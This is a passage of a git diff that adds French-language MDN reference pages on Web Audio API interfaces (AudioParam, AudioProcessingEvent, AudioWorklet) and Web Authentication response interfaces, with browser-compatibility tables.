+ <dd>Planifie un changement de la valeur d'<code>AudioParam</code>. Le changement commence à l'heure prévue pour l'événement précédent, suit une rampe exponentielle jusqu'à la nouvelle valeur passée dans l'argument <code>value</code>, et atteint la nouvelle valeur à l'heure indiquée par le paramètre <code>endTime</code>.<br>
+ Les rampes exponentielles sont utiles lors du changement de fréquence ou de taux de lecture en raison de la façon dont l'oreille humaine fonctionne.</dd>
+ <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt>
+ <dd>Planifie le début d'un changement de la valeur d'<code>AudioParam</code>. Le changement commence à l'heure spécifiée par l'argument <code>startTime</code> et de façon exponentielle tend vers la valeur donnée par le paramètre <code>target</code>. Le taux de décroissance exponentielle est définie par le paramètre <code>timeConstant</code>. C'est le temps nécessaire à un système continu linéaire du premier ordre invariant dans le temps pour atteindre la valeur de 1 - 1 / e (environ 63,2%) donné une réponse d'entrée de l'étape (passage de 0 à 1 en valeur), Plus il est grand, plus la transition sera facile. Ceci est utile pour la décroissance ou la libération de portions d'enveloppes.</dd>
+ <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt>
+ <dd>Planifie des valeurs de <code>AudioParam</code> selon un jeu de valeurs, défini par le paramètre  <code>values </code>({{domxref ("Float32Array")}}), mis à l'échelle pour s'adapter à l'intervalle de temps donné, en commençant à <code>startTime</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt>
+ <dd>Annule toutes les modifications futures prévues du <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt>
+ <dd>Annule toutes les modifications futures prévues du <code>AudioParam</code> mais maintient sa valeur à un certain moment, en attendant que d'autres changements soient effectués. La nouvelle valeur est passée en argument.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce premier exemple simple montre la définition de la valeur de  <code>gain </code>d'un<code> </code>{{domxref("GainNode")}}. <code>gain</code> est un exemple de paramètre audio de type a-rate, car sa valeur peut potentiellement être différente pour chaque trame d'échantillon.</p>
+
+<pre class="brush: js;highlight[5]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;</pre>
+
+<p>Ce deuxième exemple montre la définition de plusieurs paramètres d'un {{ domxref("BiquadFilterNode") }}. Ce sont des exemples de paramètre audio de type k-rate AudioParam's, comme les valeurs sont définies une fois pour l'ensemble des échantillons.</p>
+
+<pre class="brush: js;highlight[6,7,8]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioParam-section', 'AudioParam')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(14.0)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Non prefixé</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>minValue</code>and<code>maxValue</code></td>
+   <td>{{CompatChrome(52.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelAndHoldAtTime()</code></td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(14)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Non préfixé</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>minValue</code> and <code>maxValue</code></td>
+   <td>{{CompatChrome(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelAndHoldAtTime()</code></td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audioprocessingevent/index.html b/files/fr/web/api/audioprocessingevent/index.html
new file mode 100644
index 0000000000..baad6beb8d
--- /dev/null
+++ b/files/fr/web/api/audioprocessingevent/index.html
@@ -0,0 +1,150 @@
+---
+title: AudioProcessingEvent
+slug: Web/API/AudioProcessingEvent
+tags:
+  - API
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioProcessingEvent
+---
+<p>{{APIRef("Web Audio API")}}{{deprecated_header}}</p>
+
+<p><span class="seoSummary">AudioProcessingEvent représente l'évènement qui est passé lorsqu'un tampon {{domxref ("ScriptProcessorNode")}} est prêt à être traité.</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette fonctionnalité est dépréciée à partir de la version du 29 Août 2014 de la spécification Web Audio API, elle sera remplacée par les <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a>.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>La liste ci-dessous inclut les propriétés héritées de son parent, {{domxref("Event")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'évènement (la plus haute dans le DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type d'évènement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Indique si l'évènement se propage normalement.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Indique s'il est possible d'annuler l'évènement.</td>
+  </tr>
+  <tr>
+   <td><code>playbackTime</code> {{ReadOnlyInline}}</td>
+   <td><code>double</code></td>
+   <td>Moment auquel le son sera joué, tel que défini par {{domxref("AudioContext.currentTime")}}</td>
+  </tr>
+  <tr>
+   <td><code>inputBuffer</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("AudioBuffer")}}</td>
+   <td>Tampon contenant les données audio à traiter en entrée. Le nombre de canaux est défini comme paramètre, <code>numberOfInputChannels</code>, de la méthode constructeur {{domxref("AudioContext.createScriptProcessor()")}}. L'<code>AudioBuffer</code> renvoyé est valide uniquement dans la portée de la fonction <code>onaudioprocess</code>.</td>
+  </tr>
+  <tr>
+   <td><code>outputBuffer</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("AudioBuffer")}}</td>
+   <td>Tampon dans lequel les données doivent être écrites en sortie. Le nombre de canaux est défini comme paramètre, <code>numberOfOutputChannels</code>, de la méthode constructeur {{domxref("AudioContext.createScriptProcessor()")}}. L'<code>AudioBuffer</code> renvoyé est valide uniquement dans la portée de la fonction <code>onaudioprocess</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audioworklet/index.html b/files/fr/web/api/audioworklet/index.html
new file mode 100644
index 0000000000..e87fdefa21
--- /dev/null
+++ b/files/fr/web/api/audioworklet/index.html
@@ -0,0 +1,73 @@
+---
+title: AudioWorklet
+slug: Web/API/AudioWorklet
+tags:
+  - API
+  - Audio
+  - AudioWorklet
+  - Background
+  - Custom
+  - Interface
+  - Low-latency
+  - Reference
+  - Web Audio API
+  - Worklet
+  - Zero-latency
+  - latency
+  - sound
+translation_of: Web/API/AudioWorklet
+---
+<p>{{APIRef("Web Audio API")}}{{securecontext_header}}</p>
+
+<p class="summary"><span class="seoSummary">L'interface <strong><code>AudioWorklet</code></strong> dans l'<a href="/fr/docs/Web/API/Web_Audio_API">API Web Audio</a> est utilisée pour fournir des scripts de traitement audio personnalisés qui s'exécutent dans un thread séparé afin de fournir un traitement audio à très faible latence.</span> Le code du worklet est exécuté dans le contexte d'exécution global {{domxref("AudioWorkletGlobalScope")}}, en utilisant un thread audio web séparé qui est partagé par le worklet et les autres nœuds audio.</p>
+
+<p>L'accès à distance d'<code>AudioWorklet</code> du contexte audio se fait par la propriété {{domxref("BaseAudioContext.audioWorklet")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>AudioWorklet</code> </em>ne définit pas de propriétés propres, mais hérite des propriétés de<em> {{domxref("Worklet")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Cette interface hérite des méthodes de<em> {{domxref('Worklet')}}. L'interface <code>AudioWorklet</code> </em>ne définit aucune méthode propre<em>.</em></p>
+
+<h2 id="Evénements">Evénements</h2>
+
+<p>L'<em><code>AudioWorklet</code> </em>n'a pas d'événements auxquels il répond<em>.</em></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir {{domxref("AudioWorkletNode")}} pour des exemples complets de création de nœuds audio personnalisés.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API','#audioworklet','AudioWorklet')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Définition intiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur">Compatibilité du navigateur</h2>
+
+<div>
+
+
+<p>{{Compat("api.AudioWorklet")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("AudioWorkletGlobalScope")}} — le contexte global d'exécution d'un <code>AudioWorklet</code></li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API">API Web Audio</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.html b/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.html
new file mode 100644
index 0000000000..aaef147350
--- /dev/null
+++ b/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.html
@@ -0,0 +1,84 @@
+---
+title: AuthenticatorAssertionResponse.authenticatorData
+slug: Web/API/AuthenticatorAssertionResponse/authenticatorData
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Web Authentication API
+  - WebAuthn
+translation_of: Web/API/AuthenticatorAssertionResponse/authenticatorData
+---
+<p>{{draft}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}</p>
+
+<p>La propriété <code><strong>authenticatorData</strong></code> (rattachée à  l'interface {{domxref("AuthenticatorAssertionResponse")}}) fournit un {{jsxref("ArrayBuffer")}} qui contient les informations relatives à l'authenticateur tels que :</p>
+
+<ul>
+ <li>l'empreinte d'identifiant (rpIdHash pour <em>Relying Party ID Hash</em>)</li>
+ <li>un compteur de signature</li>
+ <li>un test quant à la présence de l'utilisateur</li>
+ <li>des marqueurs (<em>flags</em>) de vérification de l'utilisateur</li>
+ <li>les éventuelles extensions traitées par l'authenticateur</li>
+</ul>
+
+<p>Cette propriété est signée par l'authenticateur (c'est l'un des deux champs qui est signé).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var authnrData = assertion.response.authnrData;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{jsxref("ArrayBuffer")}} dont la propriété {{jsxref("ArrayBuffer.byteLength")}} indique qu'il mesure au moins 37 octets et qui contient les champs suivants :</p>
+
+<ul>
+ <li><code><strong>rpIdHash</strong></code> (32 octets) - Une empreinte SHA256 de l'identifiant de la partie fiable (i.e. - le domaine) tel que vu par le navigateur. Le serveur s'assurera ensuite que cette empreinte correspond à sa propre origine afin d'empêcher les tentatives de hameçonnage (<em>phishing</em>) ou d'autres attaques de l'homme du milieu (<em>man-in-the-middle</em>).</li>
+ <li><code><strong>flags</strong></code> (1 octet) - Une série de bits qui indique les différents attributs validés par l'authenticateur. Les bits sont décrits comme suit (où le bit 0 correspond au bit de poids faible) (tous les bits ne sont pas mentionnés car certains sont réservés pour une utilisation future) :
+  <ul>
+   <li>Bit 0 : Présence de l'utilisateur (<em>User Presence</em> - UP) : si ce bit est actif, cela signifie que l'authenticateur a validé la présence de l'utilisateur par un test de présence (<em>Test of User Presence</em> - TUP). Cela peut notamment correspondre à l'appui sur un bouton de l'authenticateur.</li>
+   <li>Bit 2 : Vérification de l'utilisateur (<em>User Verification</em> - UV) : si ce bit est actif, cela signifie que l'authenticateur a vérifié l'utilisateur en question via une méthode d'authentification (biométrique, code PIN, autre).</li>
+   <li>Bit 6 : Présence des données d'authentification vérifiées (<em>Attested Credential Data </em>- AT) : si ce bit est actif, le champ <code>attestedCredentialData</code> suivra immédiatement après les 37 premiers octets de cet objet.</li>
+   <li>Bit 7 : Présence des données d'extension (<em>Extension data</em> - ED) : si ce bit est actif, les données d'extensions suivront le champ <code>attestedCredentialData</code> s'il est présent ou seront situées après les 37 premiers octets de cet objet sinon.</li>
+  </ul>
+ </li>
+ <li><code><strong>signCount</strong></code> (4 octets) : un compteur de signature provenant de l'authenticateur. Cela permet au serveur de détecter un éventuel clonage de l'authenticateur.</li>
+ <li><code><strong>attestedCredentialData</strong></code> (longueur variable) : les informations d'authentification qui ont été créées. Ce champ est uniquement présent lors d'un appel à <code>navigator.credentials.create()</code>. Ces informations sont représentées par une séquence d'octets au format suivant :
+  <ul>
+   <li><code><strong>AAGUID</strong></code> (16 octets) - <em>Authenticator Attestation Globally Unique Identifier</em>, un identifiant universel unique pour l'attestation de l'authenticateur qui identifie le modèle de l'authenticateur (pas cet exemplaire en particulier) afin qu'une autre partie puisse comprendre les caractéristiques de l'authenticateur en consultant ses méta-données.</li>
+   <li><code><strong>credentialIdLength</strong></code> (2 octets) - la longueur, en octets, de l'identifiant d'authentification qui suit ces octets.</li>
+   <li><code><strong>credentialId</strong></code> (longueur variable) - un identifiant unique pour ces informations d'authentification et qui pourra être demandé pour de futures authentifications. Cette information mesure <code>credentialIdLength</code> octets.</li>
+   <li><code><strong>credentialPublicKey</strong></code> (longueur variable) - une clé publique encodée au format <a href="https://tools.ietf.org/html/rfc8152">COSE</a>. Cette clé publique sera stockée sur le serveur et associée au compte de l'utilisateur afin d'être utilisée pour de futures authentifications.</li>
+  </ul>
+ </li>
+ <li><code><strong>extensions</strong></code> (longueur variable) - Une carte optionnelle, encodée au format <a href="https://tools.ietf.org/html/rfc7049">CBOR</a>, et qui contient les extensions de l'authenticateur.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>TBD</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AuthenticatorAssertionResponse")}}</p>
diff --git a/files/fr/web/api/authenticatorassertionresponse/index.html b/files/fr/web/api/authenticatorassertionresponse/index.html
new file mode 100644
index 0000000000..946e3e9e3a
--- /dev/null
+++ b/files/fr/web/api/authenticatorassertionresponse/index.html
@@ -0,0 +1,69 @@
+---
+title: AuthenticatorAssertionResponse
+slug: Web/API/AuthenticatorAssertionResponse
+tags:
+  - API
+  - AuthenticatorAssertionResponse
+  - Interface
+  - Reference
+  - Web Authentification API
+  - WebAuthn
+translation_of: Web/API/AuthenticatorAssertionResponse
+---
+<p>{{APIRef("Web Authentication API")}}{{securecontext_header}}</p>
+
+<p>L'interface <code><strong>AuthenticatorAssertionResponse</strong></code>, rattachée à l'<a href="/fr/docs/Web/API/Web_Authentication_API">API Web Authentication</a>, est renvoyée par un appel à {{domxref('CredentialsContainer.get()')}} lorsqu'on a passé un objet {{domxref('PublicKeyCredential')}} en argument. Cette interface fournit une preuve à un service que l'objet possède une paire de clé et que la requête d'authentification est valide et approvée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>AuthenticatorAssertionResponse.clientDataJSON</code></dt>
+ <dd>Les données du client pour l'authentification telles que l'origine et le <em>challenge</em>. La propriété {{domxref("AuthenticatorAttestationResponse.clientDataJSON","clientDataJSON")}} est héritée de {{domxref("AuthenticatorResponse")}}.</dd>
+ <dt>{{domxref("AuthenticatorAssertionResponse.authenticatorData")}}</dt>
+ <dd>Un objet {{jsxref("ArrayBuffer")}} contenant les informations sur l'authenticateur telles que :
+ <ul>
+  <li>l'empreinte d'identifiant (<em>Relying Party ID Hash</em>) <code>rpidHash</code></li>
+  <li>un compteur de signature</li>
+  <li>un test de présence d'utilisateur</li>
+  <li>des marqueurs de vérification de l'utilisateur</li>
+  <li>les éventuelles extensions traitées par l'authentificateur</li>
+ </ul>
+ Ce champ est l'un des deux champs qui est signé par l'authentificateur.</dd>
+ <dt>{{domxref("AuthenticatorAssertionResponse.signature")}}</dt>
+ <dd>Une signature d'assertion par rapport à {{domxref("AuthenticatorAssertionResponse.authenticatorData")}} et {{domxref("AuthenticatorResponse.clientDataJSON")}}. La signature d'assertion est créée avec la clé privée de la paire de clés (générée avec l'appel à <code>create()</code>) et est vérifiée avec la clé publique la même paire de clé.</dd>
+ <dt>{{domxref("AuthenticatorAssertionResponse.userHandle")}}</dt>
+ <dd>Un objet {{jsxref("ArrayBuffer")}} contenant un identifiant opaque pour l'utilisateur.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>TBD</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AuthenticatorAssertionResponse")}}</p>
diff --git a/files/fr/web/api/authenticatorattestationresponse/index.html b/files/fr/web/api/authenticatorattestationresponse/index.html
new file mode 100644
index 0000000000..3ea1a680dd
--- /dev/null
+++ b/files/fr/web/api/authenticatorattestationresponse/index.html
@@ -0,0 +1,57 @@
+---
+title: AuthenticatorAttestationResponse
+slug: Web/API/AuthenticatorAttestationResponse
+tags:
+  - API
+  - AuthenticatorAttestationResponse
+  - Interface
+  - Reference
+  - Web Authentication API
+  - WebAuthn
+translation_of: Web/API/AuthenticatorAttestationResponse
+---
+<p>{{APIRef("Web Authentication API")}}{{securecontext_header}}</p>
+
+<p>L'interface <strong><code>AuthenticatorAttestationResponse</code></strong>, rattachée à l'<a href="/en-US/docs/Web/API/Web_Authentication_API">API Web Authentication</a>, est renvoyée par un appel à {{domxref('CredentialsContainer.create()')}} lorsqu'un objet {{domxref('PublicKeyCredential')}} est passé à la méthode. Elle fournit une racine cryptographique de confiance pour la nouvelle paire de clés qui a été générée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>AuthenticatorAttestationResponse.clientDataJSON</code></dt>
+ <dd>Les données relatives aux client pour l'authentification telles que l'origine et le <em>challenge</em>. La propriété {{domxref("AuthenticatorAttestationResponse.clientDataJSON","clientDataJSON")}} est héritée de l'interface {{domxref("AuthenticatorResponse")}}.</dd>
+ <dt>{{domxref("AuthenticatorAttestationResponse.attestationObject")}}</dt>
+ <dd>Un objet {{domxref("ArrayBuffer")}} qui contient les données de l'authenticateur ainsi qu'une instruction d'attestation pour la nouvelle paire de clés.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>TBD</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AuthenticatorAttestationResponse")}}</p>
diff --git a/files/fr/web/api/authenticatorresponse/index.html b/files/fr/web/api/authenticatorresponse/index.html
new file mode 100644
index 0000000000..45bfafa8da
--- /dev/null
+++ b/files/fr/web/api/authenticatorresponse/index.html
@@ -0,0 +1,61 @@
+---
+title: AuthenticatorResponse
+slug: Web/API/AuthenticatorResponse
+tags:
+  - API
+  - Interface
+  - Reference
+  - Web Authentication API
+  - Web Authn
+translation_of: Web/API/AuthenticatorResponse
+---
+<p>{{APIRef("Web Authentication API")}}{{securecontext_header}}</p>
+
+<p>L'interface <code><strong>AuthenticatorResponse</strong></code>, rattachée à l'<a href="/en-US/docs/Web/API/Web_Authentication_API">API Web Authentication</a>, constitue l'interface de base pour les interfaces qui fournissent une racine cryptographique de confiance pour une paire de clés. Les interfaces filles contiennent des informations relatives au navigateur telles que l'origine du <em>challenge</em> et qui peuvent être renvoyée par {{domxref("PublicKeyCredential.response")}}.</p>
+
+<h2 id="Interfaces_basées_sur_AuthenticatorResponse">Interfaces basées sur <code>AuthenticatorResponse</code></h2>
+
+<p>Voici la liste des interfaces basées sur <code>AuthenticatorResponse</code>.</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AuthenticatorAssertionResponse")}}</li>
+ <li>{{domxref("AuthenticatorAttestationResponse")}}</li>
+</ul>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("AuthenticatorResponse.clientDataJSON")}}</dt>
+ <dd>Une chaîne de caractères <a href="/fr/docs/Learn/JavaScript/Objects/JSON">JSON</a> stockée dans un {{domxref("ArrayBuffer")}} et qui représente les données du client passées à {{domxref("CredentialsContainer.create()")}} ou {{domxref("CredentialsContainer.get()")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AuthenticatorResponse")}}</p>
diff --git a/files/fr/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/fr/web/api/baseaudiocontext/createbiquadfilter/index.html
new file mode 100644
index 0000000000..d7af5e1521
--- /dev/null
+++ b/files/fr/web/api/baseaudiocontext/createbiquadfilter/index.html
